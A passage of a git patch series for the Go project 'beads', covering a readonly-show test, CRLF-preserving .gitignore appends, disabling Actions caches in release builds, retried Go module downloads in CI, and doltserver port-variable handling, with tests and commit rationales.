stderr.Bytes(), exitCode: exitCode} +} + +func assertSuccessfulJSONShow(t *testing.T, result lastTouchedProcessResult, wantID string) { + t.Helper() + if result.exitCode != 0 { + t.Fatalf("show exit code = %d, want 0\nstdout: %s\nstderr: %s", result.exitCode, result.stdout, result.stderr) + } + var issues []struct { + ID string `json:"id"` + } + if err := json.Unmarshal(result.stdout, &issues); err != nil { + t.Fatalf("show stdout is not valid JSON: %v\nstdout: %s\nstderr: %s", err, result.stdout, result.stderr) + } + if len(issues) != 1 || issues[0].ID != wantID { + t.Fatalf("show JSON IDs = %+v, want exactly %q", issues, wantID) + } +} + +func setLastTouchedSentinel(t *testing.T, path string, contents []byte) time.Time { + t.Helper() + if err := os.WriteFile(path, contents, 0o600); err != nil { + t.Fatalf("write last-touched sentinel: %v", err) + } + fixed := time.Date(2001, time.February, 3, 4, 5, 6, 0, time.UTC) + if err := os.Chtimes(path, fixed, fixed); err != nil { + t.Fatalf("set last-touched sentinel mtime: %v", err) + } + info, err := os.Stat(path) + if err != nil { + t.Fatalf("stat last-touched sentinel: %v", err) + } + return info.ModTime() +} + +func assertLastTouchedUnchanged(t *testing.T, path string, wantContents []byte, wantMtime time.Time) { + t.Helper() + gotContents, err := os.ReadFile(path) + if err != nil { + t.Fatalf("read last-touched after readonly show: %v", err) + } + if !bytes.Equal(gotContents, wantContents) { + t.Fatalf("last-touched bytes changed after readonly show: got %q, want %q", gotContents, wantContents) + } + info, err := os.Stat(path) + if err != nil { + t.Fatalf("stat last-touched after readonly show: %v", err) + } + if !info.ModTime().Equal(wantMtime) { + t.Fatalf("last-touched mtime changed after readonly show: got %v, want %v", info.ModTime(), wantMtime) + } +} + +// TestReadonlyShowPreservesLastTouched covers strict --readonly at the process +// boundary. A successful JSON read must preserve an absent marker and an +// existing marker byte-for-byte (including mtime). Ordinary show remains +// responsible for advancing the marker mtime even when it rewrites the same +// issue ID. +func TestReadonlyShowPreservesLastTouched(t *testing.T) { + binPath := buildBDUnderTest(t) + workDir := t.TempDir() + initBeadsWorkspace(t, binPath, workDir) + + id := runBDStdout(t, binPath, workDir, "q", "readonly last-touched fixture") + if id == "" { + t.Fatal("bd q returned empty issue ID") + } + lastTouchedPath := filepath.Join(workDir, ".beads", lastTouchedFile) + + t.Run("preserves absent marker", func(t *testing.T) { + if err := os.Remove(lastTouchedPath); err != nil && !os.IsNotExist(err) { + t.Fatalf("remove last-touched setup marker: %v", err) + } + result := runLastTouchedProcess(t, binPath, workDir, "--readonly", "show", id, "--json") + assertSuccessfulJSONShow(t, result, id) + if _, err := os.Stat(lastTouchedPath); !os.IsNotExist(err) { + t.Fatalf("readonly show created absent last-touched marker: stat error = %v", err) + } + }) + + sentinel := []byte("sentinel\r\nbytes\x00") + t.Run("preserves sentinel bytes and mtime", func(t *testing.T) { + mtime := setLastTouchedSentinel(t, lastTouchedPath, sentinel) + result := runLastTouchedProcess(t, binPath, workDir, "--readonly", "show", id, "--json") + assertSuccessfulJSONShow(t, result, id) + assertLastTouchedUnchanged(t, lastTouchedPath, sentinel, mtime) + }) + + t.Run("ordinary JSON show still advances marker mtime", func(t *testing.T) { + contents := []byte(id + "\n") + mtime := setLastTouchedSentinel(t, lastTouchedPath, contents) + result := runLastTouchedProcess(t, binPath, workDir, "show", id, "--json") + assertSuccessfulJSONShow(t, result, id) + + gotContents, err := os.ReadFile(lastTouchedPath) + if err != nil { + t.Fatalf("read last-touched after ordinary show: %v", err) + } + if !bytes.Equal(gotContents, contents) { + t.Fatalf("ordinary show last-touched bytes = %q, want %q", gotContents, contents) + } + info, err := os.Stat(lastTouchedPath) + if err != nil { + t.Fatalf("stat last-touched after ordinary show: %v", err) + } + if !info.ModTime().After(mtime) { + t.Fatalf("ordinary show did not advance last-touched mtime: got %v, previous %v", info.ModTime(), mtime) + } + }) +} From e766da5ed07c59e3cf23c756c5bb9cf82e5a5fe7 Mon Sep 17 00:00:00 2001 From: ecuthiell Date: Wed, 30 Sep 2026 02:46:12 -0600 Subject: [PATCH 253/624] fix(worktree): preserve CRLF gitignore appends (#5677) * fix(worktree): preserve CRLF gitignore appends (#5670) Choose CRLF only when the user repository's existing .gitignore delimiters are consistently CRLF. Preserve existing bytes and retain LF as the default for every other convention. Agent-Signature: codex-gpt-5-unknown-reasoning on behalf of Ewen Cuthiell Signed-off-by: Ewen Cuthiell * fix(worktree): complete trailing CR before a CRLF gitignore append Append only LF when the last existing byte already supplies the CR in the file's unambiguous CRLF convention. Preserve all existing bytes and cover the exact output and repeated-add behavior. Refs gastownhall/beads#5677 Agent: unknown-model/unknown-reasoning * docs(worktree): clarify LF trailing CR completion (saa-cgh.83) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * refactor(worktree): reuse the shared gitignore line-ending detector (saa-cgh.83) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * test(gitignore): keep line ending coverage with its shared owner (saa-cgh.83) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * build(bazel): enumerate worktree_gitignore_eol_test.go in cmd/bd go_test srcs cmd/bd/BUILD.bazel lists go_test srcs explicitly (647 entries), so the new untagged test file added by this PR is not compiled into //cmd/bd:bd_test. `make bazel-sync-check` cannot see this: it only runs tools/bazel/go_srcs.py, which manages the go_srcs filegroup glob, not the go_library/go_test srcs lists. The bazel.yml "BUILD files in sync" step runs `make bazel-sync` and fails on any resulting porcelain drift, so gazelle adding this entry would red that job; the lane is armed for this fork PR via `github.event.pull_request.head.repo.fork == true`. This line is gazelle's own output: re-running `make bazel-sync` after it leaves the file unchanged. With it, both of the PR's new tests execute under bazel (TestAddToGitignoreCompletesTrailingCR PASS in shard 3/16, TestAddToGitignorePreservesCRLFWhenAppending PASS in shard 4/16; //cmd/bd:bd_test 8 PASS / 0 FAIL / 0 SKIP) instead of being silently excluded from every bazel target. Co-Authored-By: Claude Opus 5 * test(worktree): cover the CRLF append arm that uses the detected line ending Maintainer review fix for PR #5677, adoption iteration 1. The synthesis is `approve` with no required changes; the one actionable finding is a minor, and it is taken because the PR already owes a push (the rebase needed a repair and a maintainer bazel commit is already on the branch). addToGitignore's `separator := lineEnding` is guarded twice: the block is only entered when the file does not end in "\n", and inside it a trailing "\r" is completed with a bare "\n" instead. So the detected "\r\n" is used for exactly one shape -- a CRLF file whose final byte is neither, i.e. an unterminated final line. Neither existing fixture reaches it: "a/\r\nb/\r" ends in CR and takes the completion branch, and "node_modules/\r\n" ends in LF so the block is never entered. internal/gitignore's own table already covers this input for the detector; the call site that consumes it did not. The new case asserts the exact bytes for initial "node_modules/\r\nbuild/", and appends twice so idempotence is covered as well as CRLF correctness. Mutation-proved: replacing `separator := lineEnding` with a hardcoded "\n" -- which would write the mixed-terminator .gitignore this PR exists to prevent -- reds ONLY this new test; all three pre-existing tests stay green. That is the surviving mutant the review reported, and it is now dead. The remaining nit asked for no change ("None required": the inline duplication of the append policy is byte-for-byte nil today, deliberate because the O_APPEND stream cannot take a whole-buffer API, and locked by exact-byte tests), so none was made. Not included: `make bazel-sync` also wants an `upgrade_smoke_loop_test.go` row in scripts/BUILD.bazel. That is base drift, not PR content -- the row is absent at this branch's rebase base (147047e153) but origin/main already carries it, 33 commits ahead -- so it heals on the next base refresh, and adding it here would duplicate main's own fix on a file this PR does not touch. --------- Signed-off-by: Ewen Cuthiell Co-authored-by: Gas City Adopt-PR Co-authored-by: Claude Opus 5 --- cmd/bd/BUILD.bazel | 1 + cmd/bd/worktree_cmd.go | 12 ++- cmd/bd/worktree_cmd_test.go | 11 +-- cmd/bd/worktree_gitignore_eol_test.go | 104 ++++++++++++++++++++++++++ internal/gitignore/append_test.go | 1 + 5 files changed, 120 insertions(+), 9 deletions(-) create mode 100644 cmd/bd/worktree_gitignore_eol_test.go diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index f3a7837e7..c47697a15 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -1164,6 +1164,7 @@ go_test( "workspace_gate_test.go", "workspace_identity_test.go", "worktree_cmd_test.go", + "worktree_gitignore_eol_test.go", "worktree_permissions_test.go", "worktree_remove_cmd_test.go", "worktree_remove_git_test.go", diff --git a/cmd/bd/worktree_cmd.go b/cmd/bd/worktree_cmd.go index 37a3b6b12..51b6ad5aa 100644 --- a/cmd/bd/worktree_cmd.go +++ b/cmd/bd/worktree_cmd.go @@ -23,6 +23,7 @@ import ( "github.com/steveyegge/beads/internal/execenv" "github.com/steveyegge/beads/internal/git" "github.com/steveyegge/beads/internal/gitenv" + "github.com/steveyegge/beads/internal/gitignore" "github.com/steveyegge/beads/internal/metrics" "github.com/steveyegge/beads/internal/ui" "github.com/steveyegge/beads/internal/worktreeremove" @@ -2140,15 +2141,22 @@ func addToGitignore(ctx context.Context, repoRoot, entry string) error { } defer f.Close() + lineEnding := gitignore.AppendLineEnding(content) + // Add newline if file doesn't end with one if len(content) > 0 && content[len(content)-1] != '\n' { - if _, err := f.WriteString("\n"); err != nil { + separator := lineEnding + // Only CRLF needs this guard: the LF separator already completes a trailing CR. + if lineEnding == "\r\n" && content[len(content)-1] == '\r' { + separator = "\n" // Complete the existing CR without rewriting it. + } + if _, err := f.WriteString(separator); err != nil { return err } } // Add comment and entry - if _, err := f.WriteString(fmt.Sprintf("# bd worktree\n%s/\n", entry)); err != nil { + if _, err := fmt.Fprintf(f, "# bd worktree%s%s/%s", lineEnding, entry, lineEnding); err != nil { return err } diff --git a/cmd/bd/worktree_cmd_test.go b/cmd/bd/worktree_cmd_test.go index 91ec16bf1..ae2e6d4e1 100644 --- a/cmd/bd/worktree_cmd_test.go +++ b/cmd/bd/worktree_cmd_test.go @@ -1,6 +1,7 @@ package main import ( + "bytes" "context" "fmt" "os" @@ -271,13 +272,9 @@ func TestAddToGitignore(t *testing.T) { if err != nil { t.Fatalf("failed to read .gitignore: %v", err) } - content := string(updated) - - if count := strings.Count(content, "# bd worktree"); count != 1 { - t.Fatalf("expected one worktree marker, got %d:\n%s", count, content) - } - if count := strings.Count(content, entry+"/"); count != 1 { - t.Fatalf("expected one worktree entry, got %d:\n%s", count, content) + want := []byte("node_modules/\n# bd worktree\nworktree-feature/\n") + if !bytes.Equal(updated, want) { + t.Fatalf(".gitignore bytes after two appends:\nwant: %q\ngot: %q", want, updated) } }) } diff --git a/cmd/bd/worktree_gitignore_eol_test.go b/cmd/bd/worktree_gitignore_eol_test.go new file mode 100644 index 000000000..f330f8965 --- /dev/null +++ b/cmd/bd/worktree_gitignore_eol_test.go @@ -0,0 +1,104 @@ +package main + +import ( + "bytes" + "context" + "os" + "path/filepath" + "testing" +) + +func TestAddToGitignoreCompletesTrailingCR(t *testing.T) { + repoRoot := initGitRepoForGitignoreTest(t) + path := filepath.Join(repoRoot, ".gitignore") + initial := []byte("a/\r\nb/\r") + if err := os.WriteFile(path, initial, 0644); err != nil { + t.Fatal(err) + } + want := []byte("a/\r\nb/\r\n# bd worktree\r\nworktree-feature/\r\n") + for i := 0; i < 2; i++ { + if err := addToGitignore(context.Background(), repoRoot, "worktree-feature"); err != nil { + t.Fatal(err) + } + got, err := os.ReadFile(path) + if err != nil { + t.Fatal(err) + } + if !bytes.Equal(got, want) { + t.Fatalf("append %d bytes = %q, want %q", i+1, got, want) + } + } +} + +// TestAddToGitignoreCompletesUnterminatedCRLFLine covers the one arm where +// addToGitignore actually uses the detected line ending as its separator. +// +// The separator assignment is guarded twice over: the block is only entered when +// the file does not end in "\n", and inside it a trailing "\r" is completed with +// a bare "\n" instead. So the detected "\r\n" is used only for a CRLF file whose +// final byte is neither — an unterminated final line like "build/". The sibling +// fixtures in this file cannot reach it: "a/\r\nb/\r" ends in CR and takes the +// completion branch, and "node_modules/\r\n" ends in LF and never enters the +// block at all. Without this case, reverting the separator to a hardcoded "\n" +// still passes every test here while writing exactly the mixed-terminator +// .gitignore this change exists to prevent. +// +// internal/gitignore's own table already covers this input for the detector +// (append_test.go, "CRLF with unterminated final line"); this is the call site +// that consumes it. +func TestAddToGitignoreCompletesUnterminatedCRLFLine(t *testing.T) { + repoRoot := initGitRepoForGitignoreTest(t) + path := filepath.Join(repoRoot, ".gitignore") + initial := []byte("node_modules/\r\nbuild/") + if err := os.WriteFile(path, initial, 0644); err != nil { + t.Fatal(err) + } + want := []byte("node_modules/\r\nbuild/\r\n# bd worktree\r\nworktree-feature/\r\n") + // Twice: the append must be idempotent as well as CRLF-correct. + for i := 0; i < 2; i++ { + if err := addToGitignore(context.Background(), repoRoot, "worktree-feature"); err != nil { + t.Fatal(err) + } + got, err := os.ReadFile(path) + if err != nil { + t.Fatal(err) + } + if !bytes.Equal(got, want) { + t.Fatalf("append %d bytes = %q, want %q", i+1, got, want) + } + } +} + +func TestAddToGitignorePreservesCRLFWhenAppending(t *testing.T) { + repoRoot := initGitRepoForGitignoreTest(t) + gitignorePath := filepath.Join(repoRoot, ".gitignore") + initial := []byte("node_modules/\r\n") + if err := os.WriteFile(gitignorePath, initial, 0644); err != nil { + t.Fatalf("failed to write .gitignore: %v", err) + } + + entry := "worktree-feature" + if err := addToGitignore(context.Background(), repoRoot, entry); err != nil { + t.Fatalf("first addToGitignore failed: %v", err) + } + + want := []byte("node_modules/\r\n# bd worktree\r\nworktree-feature/\r\n") + updated, err := os.ReadFile(gitignorePath) + if err != nil { + t.Fatalf("failed to read .gitignore: %v", err) + } + if !bytes.Equal(updated, want) { + t.Fatalf(".gitignore bytes after append:\nwant: %q\ngot: %q", want, updated) + } + + if err := addToGitignore(context.Background(), repoRoot, entry); err != nil { + t.Fatalf("second addToGitignore failed: %v", err) + } + unchanged, err := os.ReadFile(gitignorePath) + if err != nil { + t.Fatalf("failed to reread .gitignore: %v", err) + } + if !bytes.Equal(unchanged, want) { + t.Fatalf("second append changed .gitignore:\nwant: %q\ngot: %q", want, unchanged) + } +} diff --git a/internal/gitignore/append_test.go b/internal/gitignore/append_test.go index 5c51fc85b..250c39ee7 100644 --- a/internal/gitignore/append_test.go +++ b/internal/gitignore/append_test.go @@ -8,6 +8,7 @@ func TestAppendLineEnding(t *testing.T) { {"delimiter-free", "local", "\n"}, {"LF", "a\n", "\n"}, {"CRLF", "a\r\n", "\r\n"}, + {"CRLF with unterminated final line", "node_modules/\r\nbuild/", "\r\n"}, {"mixed", "a\r\nb\r\nc\n", "\n"}, {"BOM LF", "\xef\xbb\xbfa\n", "\n"}, {"BOM CRLF", "\xef\xbb\xbfa\r\n", "\r\n"}, From 2d395d35afadf0a3aeb9bb0a737a0ac02cd97e60 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Wed, 30 Sep 2026 04:39:23 -0700 Subject: [PATCH 254/624] ci(release): never restore Actions caches into release builds (#6966) setup-go's default cache in release.yml is keyed predictably and falls back to the default branch's Go module and build caches, which are restored without re-verification before binaries are built, signed and attested. Turn it off in every release job and pin that with a policy test. Co-authored-by: Gas City Adopt-PR Co-authored-by: Claude Opus 5.5 (1M context) --- .github/workflows/release.yml | 16 ++++++++++++++++ scripts/ci_workflow_test.go | 25 +++++++++++++++++++++++++ 2 files changed, 41 insertions(+) diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 157c09478..e9fabb91e 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -61,6 +61,10 @@ jobs: uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 with: go-version-file: 'go.mod' + # Never restore a cache into release builds: setup-go's key is + # predictable and falls back to main's cache, whose module and build + # caches are not re-verified before binaries are built and signed. + cache: false - name: Set up Python uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7.0.0 @@ -94,6 +98,10 @@ jobs: uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 with: go-version-file: 'go.mod' + # Never restore a cache into release builds: setup-go's key is + # predictable and falls back to main's cache, whose module and build + # caches are not re-verified before binaries are built and signed. + cache: false - name: Set up Node.js uses: actions/setup-node@820762786026740c76f36085b0efc47a31fe5020 # v6 @@ -121,6 +129,10 @@ jobs: uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 with: go-version-file: 'go.mod' + # Never restore a cache into release builds: setup-go's key is + # predictable and falls back to main's cache, whose module and build + # caches are not re-verified before binaries are built and signed. + cache: false - name: Install cross-compilation toolchains and signing tools # Backstop for a hang that escapes the inner `timeout` calls, so it has @@ -229,6 +241,10 @@ jobs: uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 with: go-version-file: 'go.mod' + # Never restore a cache into release builds: setup-go's key is + # predictable and falls back to main's cache, whose module and build + # caches are not re-verified before binaries are built and signed. + cache: false - name: Extract version from tag id: version diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index 8adbefb88..73751ad6b 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -4159,3 +4159,28 @@ func yamlScalar(node *yaml.Node, key string) string { } return "" } + +// Release builds sign and attest what they build, so they must not restore +// any Actions cache: setup-go's default cache is keyed predictably and falls +// back to the default branch's module and build caches, which are not +// re-verified (a poisoned build cache compiles straight into the binaries). +func TestReleaseWorkflowRestoresNoCache(t *testing.T) { + workflow := readCIWorkflow(t, "release.yml") + setupGo := 0 + for jobName, job := range workflow.Jobs { + for _, step := range job.Steps { + if strings.HasPrefix(step.Uses, "actions/cache") || strings.Contains(step.Uses, "/cache@") { + t.Errorf("release.yml job %q step %q uses %s; release builds must not restore caches", jobName, step.Name, step.Uses) + } + if strings.HasPrefix(step.Uses, "actions/setup-go@") { + setupGo++ + if step.With["cache"] != "false" { + t.Errorf("release.yml job %q step %q: setup-go must set cache: false (got %q)", jobName, step.Name, step.With["cache"]) + } + } + } + } + if setupGo == 0 { + t.Fatal("release.yml has no setup-go step; update this test") + } +} From 9c8be5e85f704dfd7be8cd72ebd7a9b216592964 Mon Sep 17 00:00:00 2001 From: Jim Wordelman Date: Wed, 30 Sep 2026 07:11:35 -0700 Subject: [PATCH 255/624] ci: retry the module fetch in pr-policy-wrapper, not the build (#5901) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * ci: retry the module fetch in pr-policy-wrapper, not the build PR Policy (wrapper timing) is a required check, and it is the one job in pr.yml that can be failed by someone else's network. setup-go runs with cache: false, so every run pulls the entire module graph from proxy.golang.org, and nothing retries. A single proxy blip fails the check outright. Observed on a docs-only PR (one markdown file, +18/-0): the job died inside a ~12s proxy.golang.org outage with stream error: stream ID NNN; INTERNAL_ERROR; received from peer while 40 other jobs on the same commit, triggered at the same instant, built the same module graph and passed. The split was by clock, not by content -- nothing about the change could have caused it. Fetch the modules in their own retried step before the wrapper runs. With the cache warm, the go build inside scripts/ci/pr-policy.sh compiles without touching the network and stays unwrapped: a compile error still fails on the first attempt rather than taking three, and an exhausted retry reports the fetch as the cause instead of presenting a module outage as a build failure. The loop mirrors the bounded apt-get steps in migration-test.yml and release.yml: three attempts, a per-attempt timeout, a fixed backoff with none after the last, and a step-level timeout-minutes above the resulting worst case. * ci: retry the module fetch in main.yml's pr-policy-wrapper too pr.yml and main.yml carry byte-identical `pr-policy-wrapper` jobs. The retry added in the previous commit covered only the pr.yml copy, so the same unretried cold fetch stayed on the main-branch trigger — the job this PR names is fixed in one workflow and not the other. Mirrors the pr.yml step exactly: retries the fetch, never the build, and fails load-bearing while naming the fetch so a module outage is not reported as a build failure. This is not a cache step, so the enumerated cache topology pinned by TestGoCacheOwnershipTopology (scripts/ci_workflow_test.go) is untouched; `go test ./scripts/` and actionlint are clean. --------- Co-authored-by: Gas City Adopt-PR Co-authored-by: Claude Opus 5.5 --- .github/workflows/main.yml | 35 +++++++++++++++++++++++++++++++++++ .github/workflows/pr.yml | 37 +++++++++++++++++++++++++++++++++++++ 2 files changed, 72 insertions(+) diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml index e8af10a9b..b8c91d791 100644 --- a/.github/workflows/main.yml +++ b/.github/workflows/main.yml @@ -367,6 +367,41 @@ jobs: go-version-file: 'go.mod' cache: false + # Same cold-fetch exposure as pr.yml's pr-policy-wrapper: setup-go above + # runs with cache: false, so every run pulls the whole module graph from + # the proxy. Retrying it here means a proxy blip costs seconds instead of + # failing a required check. + # + # Deliberately NOT wrapped around the build: `make ci-pr-policy` runs a + # `go build ./cmd/bd` (scripts/ci/pr-policy.sh, build_docs_binary), and a + # compile error is not transient. See pr.yml's copy for the full rationale. + # + # 3 attempts x 120s + 2 backoffs x 10s = 380s worst case. 8m leaves ~100s + # of headroom, matching the bounded apt-get steps in migration-test.yml. + - name: Download modules + timeout-minutes: 8 + run: | + downloaded="" + for attempt in 1 2 3; do + if timeout 120 go mod download; then + downloaded=yes + break + fi + echo "::warning::go mod download attempt $attempt failed or timed out" + # No backoff after the final attempt - there is nothing left to wait for. + if [ "$attempt" -lt 3 ]; then + sleep 10 + fi + done + # Unlike the best-effort apt-get retries elsewhere in this repo, this + # one is load-bearing: nothing downstream can build without the + # modules. Fail here, naming the fetch, so a module outage is not + # reported as a build failure. + if [ -z "$downloaded" ]; then + echo "::error::go mod download failed after 3 attempts - module fetch failure, not a build failure" + exit 1 + fi + - name: Run PR policy wrapper run: make ci-pr-policy diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index 10408ca3a..8c7692222 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -690,6 +690,43 @@ jobs: go-version-file: 'go.mod' cache: false + # The module fetch is the only part of this job that talks to the network, + # and setup-go above runs with cache: false, so every run pulls the whole + # module graph from the proxy. Doing it here, retried, means a proxy blip + # costs seconds instead of failing a required check. + # + # Deliberately NOT wrapped around the build: `make ci-pr-policy` runs a + # `go build ./cmd/bd` (scripts/ci/pr-policy.sh, build_docs_binary), and a + # compile error is not transient. Retrying it would make a genuinely broken + # build take three attempts to report and look like a slow one. The fetch + # has a legitimate transient failure mode; the build does not. + # + # 3 attempts x 120s + 2 backoffs x 10s = 380s worst case. 8m leaves ~100s + # of headroom, matching the bounded apt-get steps in migration-test.yml. + - name: Download modules + timeout-minutes: 8 + run: | + downloaded="" + for attempt in 1 2 3; do + if timeout 120 go mod download; then + downloaded=yes + break + fi + echo "::warning::go mod download attempt $attempt failed or timed out" + # No backoff after the final attempt - there is nothing left to wait for. + if [ "$attempt" -lt 3 ]; then + sleep 10 + fi + done + # Unlike the best-effort apt-get retries elsewhere in this repo, this + # one is load-bearing: nothing downstream can build without the + # modules. Fail here, naming the fetch, so a module outage is not + # reported as a build failure. + if [ -z "$downloaded" ]; then + echo "::error::go mod download failed after 3 attempts - module fetch failure, not a build failure" + exit 1 + fi + - name: Run PR policy wrapper run: make ci-pr-policy From 0950db06584dd3d88fe91744f396956b0134c86a Mon Sep 17 00:00:00 2001 From: Jim Wordelman Date: Wed, 30 Sep 2026 07:13:57 -0700 Subject: [PATCH 256/624] Fix ResolveServerMode ambient port-var handling and the KillStaleServers regression it introduced (#5934) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * test(doltserver): red — ResolveServerMode ignores BEADS_DOLT_SERVER_PORT/BEADS_DOLT_PORT (refs be-9i0yq.1) * feat(doltserver): green — ResolveServerMode honors BEADS_DOLT_SERVER_PORT/BEADS_DOLT_PORT (refs be-9i0yq.1) * test(doltserver): isolate BEADS_DOLT_SERVER_PORT/BEADS_DOLT_PORT in ambient-blind tests (refs be-lbnk8) TestResolveServerMode_Default, _EmbeddedMode, and _EmbeddedHonoredWithoutServerEnv cleared BEADS_DOLT_SHARED_SERVER/BEADS_DOLT_SERVER_MODE via t.Setenv but never cleared BEADS_DOLT_SERVER_PORT/BEADS_DOLT_PORT, so they silently depended on ambient absence of those two vars. That held in clean CI but not in this rig (BEADS_DOLT_SERVER_PORT=28231 ambient), where round-1's new env-port-aware step 2c in ResolveServerMode correctly fired and these three regressed. servermode.go is unchanged: its precedence logic was already correct, and the round-1 tests (EnvPortImpliesExternal, EnvPortOverridesStaleEmbedded) already prove it. This is a test-hermeticity fix matching the isolation pattern those two tests already follow. * fix(doltserver): green — killStaleServersForDir ignores ambient BEADS_DOLT_SERVER_PORT (refs be-lbnk8) killStaleServersForDir's orphan-cleanup guard (GH#2430) called the public ResolveServerMode, which treats an ambient BEADS_DOLT_SERVER_PORT/ BEADS_DOLT_PORT (set fleet-wide on multi-agent rigs purely to route bd's own client connections) the same as a genuine "not my server" declaration (explicit shared-server/host/port config). That collapsed connection- routing into lifecycle-ownership, so the guard silently skipped orphan cleanup for directories beads still owns whenever the ambient var was set. Split ResolveServerMode into a shared resolveServerMode(dir, honorPortEnv) implementation: - ResolveServerMode(dir) = resolveServerMode(dir, true) — unchanged behavior for all existing callers. - resolveServerModeIgnoringPortEnv(dir) = resolveServerMode(dir, false) — skips only the ambient-port-var check, used solely by killStaleServersForDir's guard. Audited the other three production ResolveServerMode call sites (internal/storage/dolt/open.go:47+182, cmd/bd/bootstrap.go:914); all three correctly want the ambient port var included (auto-start suppression and clone-strategy selection both need to route to an already-running server), so they are left calling the public ResolveServerMode unchanged. A fourth call site (internal/storage/dolt/store.go:1602) already independently short-circuits on the same env vars before it would ever reach ResolveServerMode, so it was unaffected by construction. Audit findings recorded in be-lbnk8's notes. TestKillStaleServersPreservesOtherRepoServers (added in the prior round) now passes; TestResolveServerMode_HostInferredExternal and TestResolveServerMode_EnvHostBeatsEmbeddedMetadata remain the same two pre-existing/unrelated failures confirmed at the parent commit (tracked as be-wbyau). * docs(release-gates): record be-lbnk8 gate PASS (ambient serverport scoping fix) Deploy gate for be-mob5e (source review be-lbnk8, deploy commit f5328d863153ecef94df9713ca2e3ed5e0ab0a95). 7/7 criteria PASS, with two named non-blocking exceptions in the policy/lint lane (stale .githooks/commit-msg marker check, and a stale golangci-lint result-cache artifact referencing a deleted worktree) — both environmental, independently verified, unrelated to the diff. * fix(doltserver): exempt proxied-server from the port-env check, gate the carve-out Check 2c classified any workspace with BEADS_DOLT_SERVER_PORT set as external without either guard HostImpliesServerMode applies. The proxied-server exemption is the one that bites: a proxied workspace reaches its server through the proxy, so an ambient port does not describe its lifecycle, and our own constellation runs dolt_mode: proxied-server with that variable set. 2c now mirrors 2b's exemption. The second HostImpliesServerMode guard -- any explicit non-empty DoltMode suppresses inference -- is deliberately NOT mirrored, because TestResolveServerMode_EnvPortOverridesStaleEmbedded pins the opposite for dolt_mode=embedded on GH#2949 grounds. configfile.IsDoltServerMode has no port check at all, so for that one combination the storage-mode and lifecycle resolvers still disagree. That is a precedence question above this change, not something to settle by picking whichever makes the tests green; the code says so and it is tracked separately. Adds TestKillStaleServersReapsOrphanUnderAmbientServerPort, the missing gate on the resolveServerModeIgnoringPortEnv carve-out: it sets the port variable itself rather than relying on the host exporting one, so it catches a re-disabled GH#2430 anywhere. Red/green confirmed -- pointing the guard back at the naive ResolveServerMode gives killed=[], want [222]. Two mode tests also stopped inheriting an ambient Dolt port. TestResolveServerMode_EnvHostBeatsEmbeddedMetadata and TestResolveServerMode_HostInferredExternal neutralize SHARED_SERVER, SERVER_MODE and SERVER_HOST but never the port vars, so on a host that exports one they asserted against it. The latter fails that way on origin/main too. The whole internal/doltserver package now passes under this rig's real ambient BEADS_DOLT_SERVER_PORT, which the previous body claimed and did not do. Adds the CHANGELOG entry this user-visible auto-start change was missing. (refs be-lbnk8) * refactor(configfile): centralize the port-implies-server-mode rule doltserver kept a private doltServerPortFromEnv plus an inline proxied-server exemption -- a second copy of a rule that belongs beside HostImpliesServerMode. Extract Config.PortImpliesServerMode with the same shape (proxied exemption, then BEADS_DOLT_SERVER_PORT and the legacy BEADS_DOLT_PORT) and have resolveServerMode's check 2c call it. No resolver changes behaviour. Also corrects check 2c's doc comment, which was the actual defect the review found rather than the code. It claimed the "explicit non-empty DoltMode suppresses inference" guard was deliberately unmirrored and called that an unresolved precedence question. HostImpliesServerMode does not work that way: it reads BEADS_DOLT_SERVER_HOST at configfile.go:421-423 and can return there, before the DoltMode suppression at :424-426 is ever reached. Real precedence is env > explicit dolt_mode > persisted host, and 2c already mirrors every tier with a port-side counterpart -- there is no persisted-port tier to guard, because an explicit dolt_mode=embedded returns at check 3 before check 4 reads metadata.json's dolt_server_port. Settled as be-yb2ai; TestResolveServerMode_EnvPortOverridesStaleEmbedded keeps pinning it. IsDoltServerMode deliberately does NOT consult the new predicate: it selects the storage backend for every data command, a far wider blast radius than this lifecycle-only change, and extending it needs its own call-site audit. The two resolvers therefore still disagree for an unset/embedded dolt_mode plus a bare port env var and no other server signal. That gap is documented at both sites and owned by be-2nolj. TestPortImpliesServerMode covers the new predicate directly: 14 cases over env precedence, invalid/zero/negative ports, env-beats-explicit-dolt_mode, and the proxied-server exemption including case-insensitivity. (refs be-lbnk8) * docs(changelog): say the ambient port marks external, not "no longer suppresses auto-start" The headline claimed an ambient BEADS_DOLT_SERVER_PORT "no longer suppresses auto-start". This PR does the opposite: check 2c yields ServerModeExternal for that var, resolveAutoStart (internal/storage/dolt/open.go:223) returns false on External, and ensureServerRunning (internal/doltserver/doltserver.go:969-985) refuses to start with "auto-start is suppressed because the server is externally managed". Only the reap clause was true. The headline now states both halves as they behave, matching the entry's own body text. Review round 3 blocking point 1 (bee-ghosttrack). * docs(dolt): note that an ambient server port marks the workspace external docs/architecture/dolt.md presented BEADS_DOLT_SERVER_PORT purely as the port knob, in both the server-mode connection table and the environment-variable table. Since check 2c it is also a lifecycle assertion: on a plain non-shared, non-proxied workspace it resolves ServerModeExternal, so auto-start is suppressed and PortSourceEnv -- documented at internal/doltserver/doltserver.go:630 as an authoritative user assertion -- is unreachable for a 